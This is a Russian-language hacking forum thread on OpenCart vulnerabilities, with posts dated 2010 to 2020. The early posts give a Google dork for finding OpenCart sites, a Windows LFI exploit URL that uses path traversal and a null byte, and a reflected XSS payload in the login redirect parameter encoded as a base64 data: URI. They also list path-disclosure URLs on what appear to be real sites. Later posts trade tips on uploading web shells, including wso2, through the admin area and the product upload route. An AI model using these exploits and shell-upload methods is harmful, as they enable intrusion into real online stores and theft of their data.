PDA

Просмотр полной версии : Уязвимости OpenCart


Strilo4ka
04.07.2010, 18:28
Версия:

OpenCart 1.4.8b RUS 0.1

Магазин: оф. сайт http://myopencart.ru/

В файле в корне config.php интересны константы:


PHP:
/*...*/define('DB_DRIVER','mysql');

define('DB_HOSTNAME','localhost');

define('DB_USERNAME','root');

define('DB_PASSWORD','');

define('DB_DATABASE','opencart');

define('DB_PREFIX','oc_');/*...*/

Мб пригодитцо(читалка, блинд посимволу и т.д)

После установки двига если install не удалена, то нет никаких варнингов, а тока упоминаетцо при установке что надо удалить.

Некоторая логика(в файле system/startup.php):

Слешы удаляютцо (когда магические включены) с массивов $_GET, $_POST, $_COOKIE.

Также переменные уничтожаютцо когда rg в on с массивов которые выше зазначены + $_SESSION, $_SERVER, $_FILES .

$_SERVER['REQUEST_URI'] присваиваетцо строка с параметрами если установлена query_string.

подключения с \engine(абстрактные и финальные класы!) и \library(аналогично!)

Объект в этих подключаемых файлах не создаютцо.

Интересный файл request.php:

в конструкторе класа request массивы переприсваиваютцо, а именно: $_GET,$_POST,$_COOKIE,$_FILES, $_SERVER и присваиваютцо определенным свойствам класа.

Ключи и значения преобразовываютцо функцией htmlspecialchars в режиме ENT_COMPAT с 8-битным Unicode, совместимым с ASCII. .

А как известно одинарная кавычка остаетцо бес изменений в ENT_COMPAT, тоесть возвожны уязвимости.

Смотримс далее:

в index.php остальные файлы с \library покдключаютцо (класы), объекты еще не создаютцо.

далее в index.php создаютцо обьекты...

Дорк:

intext:"Работает на: OpenCart"

Такс, хватит воды!

LFI (ось win)​system/library/request.php


PHP:
final classRequest{

public$get= array();

public$post= array();

public$cookie= array();

public$files= array();

public$server= array();



public function__construct() {

$_GET=$this->clean($_GET);

$_POST=$this->clean($_POST);

$_COOKIE=$this->clean($_COOKIE);

$_FILES=$this->clean($_FILES);

$_SERVER=$this->clean($_SERVER);



$this->get=$_GET;

$this->post=$_POST;

$this->cookie=$_COOKIE;

$this->files=$_FILES;

$this->server=$_SERVER;

}



public functionclean($data) {

if (is_array($data)) {

foreach ($dataas$key=>$value) {

unset($data[$key]);



$data[$this->clean($key)] =$this->clean($value);

}

} else {

$data=htmlspecialchars($data,ENT_COMPAT,'UTF-8');

}

return$data;

}

}



index.php


PHP:
/*...*/

// Front Controller

$controller= newFront($registry);

// Maintenance Mode

$controller->addPreAction(newAction('common/maintenance/check'));

// SEO URL's

$controller->addPreAction(newAction('common/seo_url'))

// Router

if (isset($request->get['route'])) {

$action= newAction($request->get['route']);

} else {

$action= newAction('common/home');

}

// Dispatch

$controller->dispatch($action, newAction('error/not_found'));

// Output

$response->output();



system/engine/action.php


PHP:
/*...*/

public function__construct($route,$args= array() ) {

$path='';



$parts=explode('/',str_replace('../','',$route));



foreach ($partsas$part) {

$path.=$part;



if (is_dir(DIR_APPLICATIO N.'controller/'.$path)) {

$path.='/';



array_shift($parts);



continue;

}



if (is_file(DIR_APPLICATI ON.'controller/'.str_replace('../','',$path) .'.php')) {

$this->file=DIR_APPLICATION.'controller/'.str_replace('../','',$path) .'.php';



$this->class='Controller'.preg_replace('/[^a-zA-Z0-9]/','',$path);

array_shift($parts);

/*...*/

system/engine/front.php

/


PHP:
*...*/

public functiondispatch($action,$error) {

$this->error=$error;



foreach ($this->pre_actionas$pre_action) {

$result=$this->execute($pre_action);



if ($result) {

$action=$result;



break;

}

}



while ($action) {

$action=$this->execute($action);

}

}



private functionexecute($action) {

$file=$action->getFile();

$class=$action->getClass();

$method=$action->getMethod();

$args=$action->getArgs();

$action='';

if (file_exists($file)) {

require_once($file);

$controller= new$class($this->registry);



if (is_callable(array($co ntroller,$method))) {

$action=call_user_func_array(array($controller,$me thod),$args);

} else {

$action=$this->error;



$this->error='';

}

} else {

$action=$this->error;



$this->error='';

}



return$action;

}

}

Мы находимсо в catalog\controller, а "постфикс" надо отбрасывать.

Exploit:

http://localhost/opencart_1.4.8b_rus_0.1/?route=..\..\.htaccess.txt%00

Нулл-байт сработал у мну при mg=on => 1 условие: ОС Win.

Strilo4ka
05.07.2010, 03:11
pXSS в аторизации (часть представления!).

класс Сontroller в system/engine/controller.php



PHP:
/*...*/

protected functionredirect($url) {

header('Location: '.str_replace('&','&',$url));

exit();

}

/*...*/

controller/account/login.php


PHP:
classControllerAccountLoginextendsController{

private$error= array();

public functionindex() {

if ($this->customer->isLogged()) {

$this->redirect(HTTPS_SERVER.'index.php?route=account/account');

}

$this->language->load('account/login');

$this->document->title=$this->language->get('heading_title');

if (($this->request->server['REQUEST_METHOD'] =='POST')) {

if (isset($this->request->post['account'])) {

$this->session->data['account'] =$this->request->post['account'];

if ($this->request->post['account'] =='register') {

$this->redirect(HTTPS_SERVER.'index.php?route=account/create');

}

if ($this->request->post['account'] =='guest') {

$this->redirect(HTTPS_SERVER.'index.php?route=checkout/guest_step_1');

}

}

if (isset($this->request->post['email']) && isset($this->request->post['password']) &&$this->validate()) {

unset($this->session->data['guest']);

if (isset($this->request->post['redirect'])) {

$this->redirect(str_replace('&','&',$this->request->post['redirect']));

} else {

$this->redirect(HTTPS_SERVER.'index.php?route=account/account');

}

}

}

/*...*/

private functionvalidate() {

if (!$this->customer->login($this->request->post['email'],$this->request->post['password'])) {

$this->error['message'] =$this->language->get('error_login');

}

if (!$this->error) {

returnTRUE;

} else {

returnFALSE;

}

}



Чтоб попасть на account/login.php надо установить переменную ?route=account/login

Еще надо иметь на целевом ресурсе созданный акаунт чтоб пройти авторизацию, после которой редирект, в который пихаетцо жаба!

Интересный момент что пытались защитить функцией которая упоминалась в посте выше - htmlspecialchars, но она не все сущности преобразовывает, тоесть можно обойти: data:text/html;base64,PHNjcmlwdD5hbGVydCgnaGFja2VkIScpPC9zY3 JpcHQ+



Експлоит:


HTML:

гуд

плохо

Как жизнь?


зы

?route=account/login - только гет!

Раскрытие путей

http://www.hellomydream.com/admin/controller/common/header.php

http://garmata.net/admin/controller/payment/alertpay.php

http://localhost/opencart_1.4.8b_rus_0.1/admin/controller/localisation/length_class.php

http://localhost/opencart_1.4.8b_rus_0.1/admin/model/localisation/geo_zone.php

http://localhost/opencart_1.4.8b_rus_0.1/admin/model/sale/customer_group.php

и другие.

DarkMaster
22.12.2011, 21:15
Кто-что посоветует относительно заливки шелла, уже непосредственно из админки? Версия 1.0.1 пишет.

GoodGoogle
11.05.2013, 19:47
DarkMaster said:
Кто-что посоветует относительно заливки шелла, уже непосредственно из админки? Версия 1.0.1 пишет.


В админке заходишь в графу - > Файлы для загрузки.

После чего перейменовываешь шел в shell.php.txt и заливаешь.

Получаешь ссылку на файл, заходишь по ней, ссылка вида: http://site.ru/download/shell.php.txt появляется окно ввода пароля. Вот и все.

TRX.new
31.07.2013, 00:02
need help!

Всем привет! Дело имею с opencart 1.5.3.1 и 1.5.2.1 . Проблема вот в чем: успешно работает заливка файла через route=product/product/upload, получаю шифрованный ответ в json, ключ я узнал и соответственно имя файла, которое получилось на сервере тоже. Попробовал залить shell на 1.5.3.1 - все ок, работает. Заливаю также на 1.5.2.1 - болт. Версия php на обоих серваках X-Powered-By PHP/5.2.17. Покажу пример имен файлов в обоих случаях:


Code:
Успешная заливка: wso2.php.jpg.6ffe4fcbb409d434ac81279319644c8c - он работает, тут все хорошо



Code:
Неудачная заливка: test.php&#;.jpg.8604d5110d3e81f88cee94d06acab263

Как видно проблема в нуль-байте, скорее всего magic quotes. Прошу совета! Как это обойти и все-таки выполнить shell , очень нужно.

aivi
04.10.2013, 14:00
Code:
Успешная заливка: wso2.php.jpg.6ffe4fcbb409d434ac81279319644c8c - он работает, тут все хорошо

Привет, а не подскажешь как имя узнал?

попугай
18.12.2013, 11:20
htaccess в корне, заворачивающий все на index.php рубит все попытки залить шелл из админки?

ICQ Hool
20.12.2013, 12:49
aivi said:

Code:
Успешная заливка: wso2.php.jpg.6ffe4fcbb409d434ac81279319644c8c - он работает, тут все хорошо

Привет, а не подскажешь как имя узнал?


я так понял что приписка в конце файла это md5(rand())

брутить надо походу (

кто подскажет?

SMAC
29.12.2013, 03:41
ICQ Hool said:
я так понял что приписка в конце файла это md5(rand())
брутить надо походу (
кто подскажет?


каталог-загрузки. Загружаешь там и имя файла в открытом виде получаешь

LETIFERUM
30.04.2016, 13:18
Кто нибудь подскажет как расшифровать?не имея доступа в админку

Forserer
10.11.2020, 02:16
Парни подскажите а возможно вобще получить доступ к файловой системе через админку opencart 1.5.1 ?